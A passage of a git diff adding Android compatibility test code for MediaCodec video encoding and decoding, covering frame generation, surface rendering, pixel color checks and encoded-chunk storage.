+                        if (VERBOSE) Log.d(TAG, "decoder output buffers changed (we don't care)");
+                    } else if (decoderStatus == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                        // expected before first buffer of data
+                        MediaFormat newFormat = decoder.getOutputFormat();
+                        if (VERBOSE) Log.d(TAG, "decoder output format changed: " + newFormat);
+                    } else if (decoderStatus < 0) {
+                        fail("unexpected result from decoder.dequeueOutputBuffer: "+decoderStatus);
+                    } else { // decoderStatus >= 0
+                        if (VERBOSE) Log.d(TAG, "surface decoder given buffer "
+                                + decoderStatus + " (size=" + info.size + ")");
+                        // The ByteBuffers are null references, but we still get a nonzero
+                        // size for the decoded data.
+                        boolean doRender = (info.size != 0);
+
+                        // As soon as we call releaseOutputBuffer, the buffer will be forwarded
+                        // to SurfaceTexture to convert to a texture.  The API doesn't
+                        // guarantee that the texture will be available before the call
+                        // returns, so we need to wait for the onFrameAvailable callback to
+                        // fire.  If we don't wait, we risk rendering from the previous frame.
+                        decoder.releaseOutputBuffer(decoderStatus, doRender);
+                        if (doRender) {
+                            // This waits for the image and renders it after it arrives.
+                            if (VERBOSE) Log.d(TAG, "awaiting frame");
+                            outputSurface.awaitNewImage();
+                            outputSurface.drawImage();
+
+                            // Send it to the encoder.
+                            inputSurface.setPresentationTime(info.presentationTimeUs * 1000);
+                            if (VERBOSE) Log.d(TAG, "swapBuffers");
+                            inputSurface.swapBuffers();
+                        }
+                        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                            // forward decoder EOS to encoder
+                            if (VERBOSE) Log.d(TAG, "signaling input EOS");
+                            if (WORK_AROUND_BUGS) {
+                                // Bail early, possibly dropping a frame.
+                                return;
+                            } else {
+                                encoder.signalEndOfInputStream();
+                            }
+                        }
+                    }
+                }
+            }
+        }
+
+        if (inputChunk != outputCount) {
+            throw new RuntimeException("frame lost: " + inputChunk + " in, " +
+                    outputCount + " out");
+        }
+    }
+
+    /**
+     * Checks the video file to see if the contents match our expectations.  We decode the
+     * video to a Surface and check the pixels with GL.
+     */
+    private void checkVideoFile(VideoChunks inputData)
+            throws IOException {
+        OutputSurface surface = null;
+        MediaCodec decoder = null;
+
+        mLargestColorDelta = -1;
+
+        if (VERBOSE) Log.d(TAG, "checkVideoFile");
+
+        try {
+            surface = new OutputSurface(mWidth, mHeight);
+
+            MediaFormat format = inputData.getMediaFormat();
+            decoder = MediaCodec.createByCodecName(mDecoderName);
+            format.setInteger(KEY_ALLOW_FRAME_DROP, 0);
+            decoder.configure(format, surface.getSurface(), null, 0);
+            decoder.start();
+
+            int badFrames = checkVideoData(inputData, decoder, surface);
+            if (badFrames != 0) {
+                fail("Found " + badFrames + " bad frames");
+            }
+        } finally {
+            if (surface != null) {
+                surface.release();
+            }
+            if (decoder != null) {
+                decoder.stop();
+                decoder.release();
+            }
+
+            Log.i(TAG, "Largest color delta: " + mLargestColorDelta);
+        }
+    }
+
+    /**
+     * Checks the video data.
+     *
+     * @return the number of bad frames
+     */
+    private int checkVideoData(VideoChunks inputData, MediaCodec decoder, OutputSurface surface) {
+        final int TIMEOUT_USEC = 1000;
+        ByteBuffer[] decoderInputBuffers = decoder.getInputBuffers();
+        ByteBuffer[] decoderOutputBuffers = decoder.getOutputBuffers();
+        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+        int inputChunk = 0;
+        int checkIndex = 0;
+        int badFrames = 0;
+
+        boolean outputDone = false;
+        boolean inputDone = false;
+        while (!outputDone) {
+            if (VERBOSE) Log.d(TAG, "check loop");
+
+            // Feed more data to the decoder.
+            if (!inputDone) {
+                int inputBufIndex = decoder.dequeueInputBuffer(TIMEOUT_USEC);
+                if (inputBufIndex >= 0) {
+                    if (inputChunk == inputData.getNumChunks()) {
+                        // End of stream -- send empty frame with EOS flag set.
+                        decoder.queueInputBuffer(inputBufIndex, 0, 0, 0L,
+                                MediaCodec.BUFFER_FLAG_END_OF_STREAM);
+                        inputDone = true;
+                        if (VERBOSE) Log.d(TAG, "sent input EOS");
+                    } else {
+                        // Copy a chunk of input to the decoder.  The first chunk should have
+                        // the BUFFER_FLAG_CODEC_CONFIG flag set.
+                        ByteBuffer inputBuf = decoderInputBuffers[inputBufIndex];
+                        inputBuf.clear();
+                        inputData.getChunkData(inputChunk, inputBuf);
+                        int flags = inputData.getChunkFlags(inputChunk);
+                        long time = inputData.getChunkTime(inputChunk);
+                        decoder.queueInputBuffer(inputBufIndex, 0, inputBuf.position(),
+                                time, flags);
+                        if (VERBOSE) {
+                            Log.d(TAG, "submitted frame " + inputChunk + " to dec, size=" +
+                                    inputBuf.position() + " flags=" + flags);
+                        }
+                        inputChunk++;
+                    }
+                } else {
+                    if (VERBOSE) Log.d(TAG, "input buffer not available");
+                }
+            }
+
+            if (!outputDone) {
+                int decoderStatus = decoder.dequeueOutputBuffer(info, TIMEOUT_USEC);
+                if (decoderStatus == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                    // no output available yet
+                    if (VERBOSE) Log.d(TAG, "no output from decoder available");
+                } else if (decoderStatus == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                    decoderOutputBuffers = decoder.getOutputBuffers();
+                    if (VERBOSE) Log.d(TAG, "decoder output buffers changed");
+                } else if (decoderStatus == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                    MediaFormat newFormat = decoder.getOutputFormat();
+                    if (VERBOSE) Log.d(TAG, "decoder output format changed: " + newFormat);
+                } else if (decoderStatus < 0) {
+                    fail("unexpected result from decoder.dequeueOutputBuffer: " + decoderStatus);
+                } else { // decoderStatus >= 0
+                    ByteBuffer decodedData = decoderOutputBuffers[decoderStatus];
+
+                    if (VERBOSE) Log.d(TAG, "surface decoder given buffer " + decoderStatus +
+                            " (size=" + info.size + ")");
+                    if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                        if (VERBOSE) Log.d(TAG, "output EOS");
+                        outputDone = true;
+                    }
+
+                    boolean doRender = (info.size != 0);
+
+                    // As soon as we call releaseOutputBuffer, the buffer will be forwarded
+                    // to SurfaceTexture to convert to a texture.  The API doesn't guarantee
+                    // that the texture will be available before the call returns, so we
+                    // need to wait for the onFrameAvailable callback to fire.
+                    decoder.releaseOutputBuffer(decoderStatus, doRender);
+                    if (doRender) {
+                        if (VERBOSE) Log.d(TAG, "awaiting frame " + checkIndex);
+                        assertEquals("Wrong time stamp", computePresentationTime(checkIndex),
+                                info.presentationTimeUs);
+                        surface.awaitNewImage();
+                        surface.drawImage();
+                        if (!checkSurfaceFrame(checkIndex)) {
+                            badFrames++;
+                        }
+                        checkIndex++;
+                    }
+                }
+            }
+        }
+
+        return badFrames;
+    }
+
+    /**
+     * Checks the frame for correctness, using GL to check RGB values.
+     *
+     * @return true if the frame looks good
+     */
+    private boolean checkSurfaceFrame(int frameIndex) {
+        ByteBuffer pixelBuf = ByteBuffer.allocateDirect(4); // TODO - reuse this
+        boolean frameFailed = false;
+        // Choose the appropriate initial/regular tolerance
+        int maxDelta = frameIndex < INITIAL_TOLERANCE_FRAME_LIMIT ? INITIAL_TOLERANCE : TOLERANCE;
+        for (int i = 0; i < 8; i++) {
+            // Note the coordinates are inverted on the Y-axis in GL.
+            int x, y;
+            if (i < 4) {
+                x = i * (mWidth / 4) + (mWidth / 8);
+                y = (mHeight * 3) / 4;
+            } else {
+                x = (7 - i) * (mWidth / 4) + (mWidth / 8);
+                y = mHeight / 4;
+            }
+
+            GLES20.glReadPixels(x, y, 1, 1, GLES20.GL_RGBA, GLES20.GL_UNSIGNED_BYTE, pixelBuf);
+            int r = pixelBuf.get(0) & 0xff;
+            int g = pixelBuf.get(1) & 0xff;
+            int b = pixelBuf.get(2) & 0xff;
+            //Log.d(TAG, "GOT(" + frameIndex + "/" + i + "): r=" + r + " g=" + g + " b=" + b);
+
+            int expR, expG, expB;
+            if (i == frameIndex % 8) {
+                // colored rect (green/blue swapped)
+                expR = TEST_R1;
+                expG = TEST_B1;
+                expB = TEST_G1;
+            } else {
+                // zero background color (green/blue swapped)
+                expR = TEST_R0;
+                expG = TEST_B0;
+                expB = TEST_G0;
+            }
+            if (!isColorClose(r, expR, maxDelta) ||
+                    !isColorClose(g, expG, maxDelta) ||
+                    !isColorClose(b, expB, maxDelta)) {
+                Log.w(TAG, "Bad frame " + frameIndex + " (rect=" + i + ": rgb=" + r +
+                        "," + g + "," + b + " vs. expected " + expR + "," + expG +
+                        "," + expB + ") for allowed error of " + maxDelta);
+                frameFailed = true;
+            }
+        }
+
+        return !frameFailed;
+    }
+
+    /**
+     * Returns true if the actual color value is close to the expected color value.  Updates
+     * mLargestColorDelta.
+     */
+    boolean isColorClose(int actual, int expected, int maxDelta) {
+        int delta = Math.abs(actual - expected);
+        if (delta > mLargestColorDelta) {
+            mLargestColorDelta = delta;
+        }
+        return (delta <= maxDelta);
+    }
+
+    /**
+     * Generates the presentation time for frame N, in microseconds.
+     */
+    private static long computePresentationTime(int frameIndex) {
+        return 123 + frameIndex * 1000000 / FRAME_RATE;
+    }
+
+
+    /**
+     * The elementary stream coming out of the encoder needs to be fed back into
+     * the decoder one chunk at a time.  If we just wrote the data to a file, we would lose
+     * the information about chunk boundaries.  This class stores the encoded data in memory,
+     * retaining the chunk organization.
+     */
+    private static class VideoChunks {
+        private MediaFormat mMediaFormat;
+        private ArrayList<byte[]> mChunks = new ArrayList<byte[]>();
+        private ArrayList<Integer> mFlags = new ArrayList<Integer>();
+        private ArrayList<Long> mTimes = new ArrayList<Long>();
+
+        /**
+         * Sets the MediaFormat, for the benefit of a future decoder.
+         */
+        public void setMediaFormat(MediaFormat format) {
+            mMediaFormat = format;
+        }
+
+        /**
+         * Gets the MediaFormat that was used by the encoder.
+         */
+        public MediaFormat getMediaFormat() {
+            return new MediaFormat(mMediaFormat);
+        }
+
+        /**
+         * Adds a new chunk.  Advances buf.position to buf.limit.
+         */
+        public void addChunk(ByteBuffer buf, int flags, long time) {
+            byte[] data = new byte[buf.remaining()];
+            buf.get(data);
+            mChunks.add(data);
+            mFlags.add(flags);
+            mTimes.add(time);
+        }
+
+        /**
+         * Returns the number of chunks currently held.
+         */
+        public int getNumChunks() {
+            return mChunks.size();
+        }
+
+        /**
+         * Copies the data from chunk N into "dest".  Advances dest.position.
+         */
+        public void getChunkData(int chunk, ByteBuffer dest) {
+            byte[] data = mChunks.get(chunk);
+            dest.put(data);
+        }
+
+        /**
+         * Returns the flags associated with chunk N.
+         */
+        public int getChunkFlags(int chunk) {
+            return mFlags.get(chunk);
+        }
+
+        /**
+         * Returns the timestamp associated with chunk N.
+         */
+        public long getChunkTime(int chunk) {
+            return mTimes.get(chunk);
+        }
+
+        /**
+         * Writes the chunks to a file as a contiguous stream.  Useful for debugging.
+         */
+        public void saveToFile(File file) {
+            Log.d(TAG, "saving chunk data to file " + file);
+            FileOutputStream fos = null;
+            BufferedOutputStream bos = null;
+
+            try {
+                fos = new FileOutputStream(file);
+                bos = new BufferedOutputStream(fos);
+                fos = null;     // closing bos will also close fos
+
+                int numChunks = getNumChunks();
+                for (int i = 0; i < numChunks; i++) {
+                    byte[] chunk = mChunks.get(i);
+                    bos.write(chunk);
+                }
+            } catch (IOException ioe) {
+                throw new RuntimeException(ioe);
+            } finally {
+                try {
+                    if (bos != null) {
+                        bos.close();
+                    }
+                    if (fos != null) {
+                        fos.close();
+                    }
+                } catch (IOException ioe) {
+                    throw new RuntimeException(ioe);
+                }
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/EncodeDecodeTest.java b/tests/tests/media/codec/src/android/media/codec/cts/EncodeDecodeTest.java
new file mode 100644
index 0000000..7780a13
--- /dev/null
+++ b/tests/tests/media/codec/src/android/media/codec/cts/EncodeDecodeTest.java
@@ -0,0 +1,1310 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.codec.cts;
+
+import android.graphics.ImageFormat;
+import android.media.Image;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecList;
+import android.media.MediaFormat;
+import android.media.cts.InputSurface;
+import android.media.cts.InputSurfaceInterface;
+import android.media.cts.MediaCodecWrapper;
+import android.media.cts.NdkMediaCodec;
+import android.media.cts.OutputSurface;
+import android.media.cts.SdkMediaCodec;
+import android.media.cts.TestArgs;
+import android.opengl.GLES20;
+import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.RequiresDevice;
+import android.util.Log;
+
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+import javax.microedition.khronos.opengles.GL10;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+/**
+ * Generates a series of video frames, encodes them, decodes them, and tests for significant
+ * divergence from the original.
+ * <p>
+ * We copy the data from the encoder's output buffers to the decoder's input buffers, running
+ * them in parallel.  The first buffer output for video/avc contains codec configuration data,
+ * which we must carefully forward to the decoder.
+ * <p>
+ * An alternative approach would be to save the output of the decoder as an mpeg4 video
+ * file, and read it back in from disk.  The data we're generating is just an elementary
+ * stream, so we'd need to perform additional steps to make that happen.
+ */
+@Presubmit
+@SmallTest
+@RequiresDevice
+// TODO: b/186001256
+@FlakyTest
+@RunWith(Parameterized.class)
+public class EncodeDecodeTest {
+    private static final String TAG = "EncodeDecodeTest";
+    private static final boolean VERBOSE = false;           // lots of logging
+    private static final boolean DEBUG_SAVE_FILE = false;   // save copy of encoded movie
+    private static final String DEBUG_FILE_NAME_BASE = "/sdcard/test.";
+
+    // parameters for the encoder
+    private static final int FRAME_RATE = 15;               // 15fps
+    private static final int IFRAME_INTERVAL = 10;          // 10 seconds between I-frames
+
+    // movie length, in frames
+    private static final int NUM_FRAMES = 30;               // two seconds of video
+
+    private static final int TEST_Y = 120;                  // YUV values for colored rect
+    private static final int TEST_U = 160;
+    private static final int TEST_V = 200;
+    private static final int TEST_R0 = 0;                   // RGB equivalent of {0,0,0} (BT.601)
+    private static final int TEST_G0 = 136;
+    private static final int TEST_B0 = 0;
+    private static final int TEST_R1 = 236;                 // RGB equivalent of {120,160,200} (BT.601)
+    private static final int TEST_G1 = 50;
+    private static final int TEST_B1 = 186;
+    private static final int TEST_R0_BT709 = 0;             // RGB equivalent of {0,0,0} (BT.709)
+    private static final int TEST_G0_BT709 = 77;
+    private static final int TEST_B0_BT709 = 0;
+    private static final int TEST_R1_BT709 = 250;           // RGB equivalent of {120,160,200} (BT.709)
+    private static final int TEST_G1_BT709 = 76;
+    private static final int TEST_B1_BT709 = 189;
+    private static final boolean USE_NDK = true;
+
+    // component names
+    private final String mEncoderName;
+    private final String mDecoderName;
+    // mime
+    private final String mMimeType;
+    // size of a frame, in pixels
+    private final int mWidth;
+    private final int mHeight;
+    // bit rate, in bits per second
+    private final int mBitRate;
+    // validate YUV->RGB decoded frames against BT.601 and/or BT.709
+    private boolean mAllowBT601 = true;
+    private boolean mAllowBT709 = false;
+
+    // largest color component delta seen (i.e. actual vs. expected)
+    private int mLargestColorDelta;
+
+    static private List<Object[]> prepareParamList(List<Object[]> exhaustiveArgsList) {
+        final List<Object[]> argsList = new ArrayList<>();
+        int argLength = exhaustiveArgsList.get(0).length;
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        for (Object[] arg : exhaustiveArgsList) {
+            String mediaType = (String)arg[0];
+            if (TestArgs.shouldSkipMediaType(mediaType)) {
+                continue;
+            }
+
+            MediaFormat format = MediaFormat.createVideoFormat(mediaType, (Integer)arg[1],
+                    (Integer)arg[2]);
+
+            String[] encoderNames = MediaUtils.getEncoderNamesForMime(mediaType);
+            String[] decoderNames = MediaUtils.getDecoderNamesForMime(mediaType);
+            // First pair of decoder and encoder that supports given format is chosen
+            outerLoop:
+            for (String decoder : decoderNames) {
+                if (TestArgs.shouldSkipCodec(decoder)) {
+                    continue;
+                }
+                for (String encoder : encoderNames) {
+                    if (TestArgs.shouldSkipCodec(encoder)) {
+                        continue;
+                    }
+                    if (MediaUtils.supports(encoder, format) &&
+                            MediaUtils.supports(decoder, format)) {
+                        Object[] testArgs = new Object[argLength + 2];
+                        testArgs[0] = encoder;
+                        testArgs[1] = decoder;
+                        System.arraycopy(arg, 0, testArgs, 2, argLength);
+                        argsList.add(testArgs);
+                        // Test only the first codecs that support given format.
+                        // Remove the following break statement to test all codecs on the device.
+                        break outerLoop;
+                    }
+                }
+            }
+        }
+        return argsList;
+    }
+
+    @Before
+    public void shouldSkip() {
+        MediaFormat format = MediaFormat.createVideoFormat(mMimeType, mWidth, mHeight);
+        format.setInteger(MediaFormat.KEY_BIT_RATE, mBitRate);
+        format.setInteger(MediaFormat.KEY_FRAME_RATE, FRAME_RATE);
+        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
+        assumeTrue(MediaUtils.supports(mEncoderName, format));
+        assumeTrue(MediaUtils.supports(mDecoderName, format));
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}:{1})")
+    public static Collection<Object[]> input() {
+        final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
+                // Mime, width, height, bit-rate, allow bt601, allow bt709
+                {MediaFormat.MIMETYPE_VIDEO_AVC, 176, 144, 1000000, true, false},
+                {MediaFormat.MIMETYPE_VIDEO_AVC, 320, 240, 2000000, true, false},
+                {MediaFormat.MIMETYPE_VIDEO_AVC, 1280, 720, 6000000, true, true},
+                {MediaFormat.MIMETYPE_VIDEO_VP8, 176, 144, 1000000, true, false},
+                {MediaFormat.MIMETYPE_VIDEO_VP8, 320, 240, 2000000, true, false},
+                {MediaFormat.MIMETYPE_VIDEO_VP8, 1280, 720, 6000000, true, true},
+        });
+        return prepareParamList(exhaustiveArgsList);
+    }
+
+    public EncodeDecodeTest(String encoder, String decoder, String mimeType, int width, int height,
+            int bitRate, boolean allowBT601, boolean allowBT709) {
+        if ((width % 16) != 0 || (height % 16) != 0) {
+            Log.w(TAG, "WARNING: width or height not multiple of 16");
+        }
+        mEncoderName = encoder;
+        mDecoderName = decoder;
+        mMimeType = mimeType;
+        mWidth = width;
+        mHeight = height;
+        mBitRate = bitRate;
+        mAllowBT601 = allowBT601;
+        mAllowBT709 = allowBT709;
+    }
+
+    /** Wraps testEncodeDecodeVideoFromBuffer(true) */
+    private static class BufferToSurfaceWrapper implements Runnable {
+        private Throwable mThrowable;
+        private EncodeDecodeTest mTest;
+
+        private BufferToSurfaceWrapper(EncodeDecodeTest test) {
+            mTest = test;
+        }
+
+        @Override
+        public void run() {
+            try {
+                mTest.encodeDecodeVideoFromBuffer(true);
+            } catch (Throwable th) {
+                mThrowable = th;
+            }
+        }
+
+        /**
+         * Entry point.
+         */
+        public static void runTest(EncodeDecodeTest obj) throws Throwable {
+            BufferToSurfaceWrapper wrapper = new BufferToSurfaceWrapper(obj);
+            Thread th = new Thread(wrapper, "codec test");
+            th.start();
+            th.join();
+            if (wrapper.mThrowable != null) {
+                throw wrapper.mThrowable;
+            }
+        }
+    }
+
+    /** Wraps testEncodeDecodeVideoFromSurfaceToSurface() */
+    private static class SurfaceToSurfaceWrapper implements Runnable {
+        private Throwable mThrowable;
+        private EncodeDecodeTest mTest;
+        private boolean mUsePersistentInput;
+        private boolean mUseNdk;
+
+        private SurfaceToSurfaceWrapper(EncodeDecodeTest test, boolean persistent, boolean useNdk) {
+            mTest = test;
+            mUsePersistentInput = persistent;
+            mUseNdk = useNdk;
+        }
+
+        @Override
+        public void run() {
+            InputSurfaceInterface inputSurface = null;
+            try {
+                if (!mUsePersistentInput) {
+                    mTest.encodeDecodeVideoFromSurfaceToSurface(null, mUseNdk);
+                } else {
+                    Log.d(TAG, "creating persistent surface");
+                    if (mUseNdk) {
+                        inputSurface = NdkMediaCodec.createPersistentInputSurface();
+                    } else {
+                        inputSurface = new InputSurface(MediaCodec.createPersistentInputSurface());
+                    }
+
+                    for (int i = 0; i < 3; i++) {
+                        Log.d(TAG, "test persistent surface - round " + i);
+                        mTest.encodeDecodeVideoFromSurfaceToSurface(inputSurface, mUseNdk);
+                    }
+                }
+            } catch (Throwable th) {
+                mThrowable = th;
+            } finally {
+                if (inputSurface != null) {
+                    inputSurface.release();
+                }
+            }
+        }
+
+        /**
+         * Entry point.
+         */
+        public static void runTest(EncodeDecodeTest obj, boolean persisent, boolean useNdk)
+                throws Throwable {
+            SurfaceToSurfaceWrapper wrapper =
+                    new SurfaceToSurfaceWrapper(obj, persisent, useNdk);
+            Thread th = new Thread(wrapper, "codec test");
+            th.start();
+            th.join();
+            if (wrapper.mThrowable != null) {
+                throw wrapper.mThrowable;
+            }
+        }
+    }
+
+    /**
+     * Tests encoding and subsequently decoding video from frames generated into a buffer.
+     * <p>
+     * We encode several frames of a video test pattern using MediaCodec, then decode the
+     * output with MediaCodec and do some simple checks.
+     * <p>
+     * See http://b.android.com/37769 for a discussion of input format pitfalls.
+     */
+    private void encodeDecodeVideoFromBuffer(boolean toSurface) throws Exception {
+        MediaCodec encoder = null;
+        MediaCodec decoder = null;
+
+        mLargestColorDelta = -1;
+
+        try {
+            // We avoid the device-specific limitations on width and height by using values that
+            // are multiples of 16, which all tested devices seem to be able to handle.
+            MediaFormat format = MediaFormat.createVideoFormat(mMimeType, mWidth, mHeight);
+
+            // Create a MediaCodec for the desired codec, then configure it as an encoder with
+            // our desired properties.
+            encoder = MediaCodec.createByCodecName(mEncoderName);
+
+            int colorFormat = selectColorFormat(encoder.getCodecInfo(), mMimeType);
+            if (VERBOSE) Log.d(TAG, "found colorFormat: " + colorFormat);
+
+            // Set some properties.  Failing to specify some of these can cause the MediaCodec
+            // configure() call to throw an unhelpful exception.
+            format.setInteger(MediaFormat.KEY_COLOR_FORMAT, colorFormat);
+            format.setInteger(MediaFormat.KEY_BIT_RATE, mBitRate);
+            format.setInteger(MediaFormat.KEY_FRAME_RATE, FRAME_RATE);
+            format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
+            if (VERBOSE) Log.d(TAG, "format: " + format);
+
+            encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
+            encoder.start();
+
+            // Create a MediaCodec for the decoder, just based on the MIME type.  The various
+            // format details will be passed through the csd-0 meta-data later on.
+            decoder = MediaCodec.createByCodecName(mDecoderName);
+            if (VERBOSE) Log.d(TAG, "got decoder: " + decoder.getName());
+
+            doEncodeDecodeVideoFromBuffer(encoder, colorFormat, decoder, toSurface);
+        } finally {
+            if (VERBOSE) Log.d(TAG, "releasing codecs");
+            if (encoder != null) {
+                encoder.stop();
+                encoder.release();
+            }
+            if (decoder != null) {
+                decoder.stop();
+                decoder.release();
+            }
+
+            Log.i(TAG, "Largest color delta: " + mLargestColorDelta);
+        }
+    }
+
+    /**
+     * Tests encoding and subsequently decoding video from frames generated into a buffer.
+     * <p>
+     * We encode several frames of a video test pattern using MediaCodec, then decode the
+     * output with MediaCodec and do some simple checks.
+     */
+    private void encodeDecodeVideoFromSurfaceToSurface(InputSurfaceInterface inSurf, boolean useNdk) throws Exception {
+        MediaCodecWrapper encoder = null;
+        MediaCodec decoder = null;
+        InputSurfaceInterface inputSurface = inSurf;
+        OutputSurface outputSurface = null;
+
+        mLargestColorDelta = -1;
+
+        try {
+            // We avoid the device-specific limitations on width and height by using values that
+            // are multiples of 16, which all tested devices seem to be able to handle.
+            MediaFormat format = MediaFormat.createVideoFormat(mMimeType, mWidth, mHeight);
+
+            int colorFormat = MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface;
+
+            // Set some properties.  Failing to specify some of these can cause the MediaCodec
+            // configure() call to throw an unhelpful exception.
+            format.setInteger(MediaFormat.KEY_COLOR_FORMAT, colorFormat);
+            format.setInteger(MediaFormat.KEY_BIT_RATE, mBitRate);
+            format.setInteger(MediaFormat.KEY_FRAME_RATE, FRAME_RATE);
+            format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
+
+            // Set color parameters
+            format.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
+            format.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT601_PAL);
+            format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
+
+            if (VERBOSE) Log.d(TAG, "format: " + format);
+
+            // Create the output surface.
+            outputSurface = new OutputSurface(mWidth, mHeight);
+
+            decoder = MediaCodec.createByCodecName(mDecoderName);
+            if (VERBOSE) Log.d(TAG, "got decoder: " + decoder.getName());
+            decoder.configure(format, outputSurface.getSurface(), null, 0);
+            decoder.start();
+
+            // Create a MediaCodec for the desired codec, then configure it as an encoder with
+            // our desired properties.  Request a Surface to use for input.
+            if (useNdk) {
+                encoder = new NdkMediaCodec(mEncoderName);
+            }else {
+                encoder = new SdkMediaCodec(MediaCodec.createByCodecName(mEncoderName));
+            }
+            encoder.configure(format, MediaCodec.CONFIGURE_FLAG_ENCODE);
+            if (inSurf != null) {
+                Log.d(TAG, "using persistent surface");
+                encoder.setInputSurface(inputSurface);
+                inputSurface.updateSize(mWidth, mHeight);
+            } else {
+                inputSurface = encoder.createInputSurface();
+            }
+            encoder.start();
+
+            doEncodeDecodeVideoFromSurfaceToSurface(encoder, inputSurface, decoder, outputSurface);
+        } finally {
+            if (VERBOSE) Log.d(TAG, "releasing codecs");
+            if (inSurf == null && inputSurface != null) {
+                inputSurface.release();
+            }
+            if (outputSurface != null) {
+                outputSurface.release();
+            }
+            if (encoder != null) {
+                encoder.stop();
+                encoder.release();
+            }
+            if (decoder != null) {
+                decoder.stop();
+                decoder.release();
+            }
+
+            Log.i(TAG, "Largest color delta: " + mLargestColorDelta);
+        }
+    }
+
+    /**
+     * Returns a color format that is supported by the codec and by this test code.  If no
+     * match is found, this throws a test failure -- the set of formats known to the test
+     * should be expanded for new platforms.
+     */
+    private static int selectColorFormat(MediaCodecInfo codecInfo, String mimeType) {
+        MediaCodecInfo.CodecCapabilities capabilities = codecInfo.getCapabilitiesForType(mimeType);
+        for (int i = 0; i < capabilities.colorFormats.length; i++) {
+            int colorFormat = capabilities.colorFormats[i];
+            if (isRecognizedFormat(colorFormat)) {
+                return colorFormat;
+            }
+        }
+        fail("couldn't find a good color format for " + codecInfo.getName() + " / " + mimeType);
+        return 0;   // not reached
+    }
+
+    /**
+     * Returns true if this is a color format that this test code understands (i.e. we know how
+     * to read and generate frames in this format).
+     */
+    private static boolean isRecognizedFormat(int colorFormat) {
+        switch (colorFormat) {
+            // these are the formats we know how to handle for this test
+            case MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Planar:
+            case MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420PackedPlanar:
+            case MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420SemiPlanar:
+            case MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420PackedSemiPlanar:
+            case MediaCodecInfo.CodecCapabilities.COLOR_TI_FormatYUV420PackedSemiPlanar:
+                return true;
+            default:
+                return false;
+        }
+    }
+
+    /**
+     * Returns true if the specified color format is semi-planar YUV.  Throws an exception
+     * if the color format is not recognized (e.g. not YUV).
+     */
+    private static boolean isSemiPlanarYUV(int colorFormat) {
+        switch (colorFormat) {
+            case MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Planar:
+            case MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420PackedPlanar:
+                return false;
+            case MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420SemiPlanar:
+            case MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420PackedSemiPlanar:
+            case MediaCodecInfo.CodecCapabilities.COLOR_TI_FormatYUV420PackedSemiPlanar:
+                return true;
+            default:
+                throw new RuntimeException("unknown format " + colorFormat);
+        }
+    }
+
+    /**
+     * Does the actual work for encoding frames from buffers of byte[].
+     */
+    private void doEncodeDecodeVideoFromBuffer(MediaCodec encoder, int encoderColorFormat,
+            MediaCodec decoder, boolean toSurface) {
+        final int TIMEOUT_USEC = 10000;
+        ByteBuffer[] encoderInputBuffers = encoder.getInputBuffers();
+        ByteBuffer[] encoderOutputBuffers = encoder.getOutputBuffers();
+        ByteBuffer[] decoderInputBuffers = null;
+        ByteBuffer[] decoderOutputBuffers = null;
+        MediaCodec.BufferInfo decoderInfo = new MediaCodec.BufferInfo();
+        MediaCodec.BufferInfo encoderInfo = new MediaCodec.BufferInfo();
+        MediaFormat decoderOutputFormat = null;
+        int generateIndex = 0;
+        int checkIndex = 0;
+        int badFrames = 0;
+        boolean decoderConfigured = false;
+        OutputSurface outputSurface = null;
+
+        // The size of a frame of video data, in the formats we handle, is stride*sliceHeight
+        // for Y, and (stride/2)*(sliceHeight/2) for each of the Cb and Cr channels.  Application
+        // of algebra and assuming that stride==width and sliceHeight==height yields:
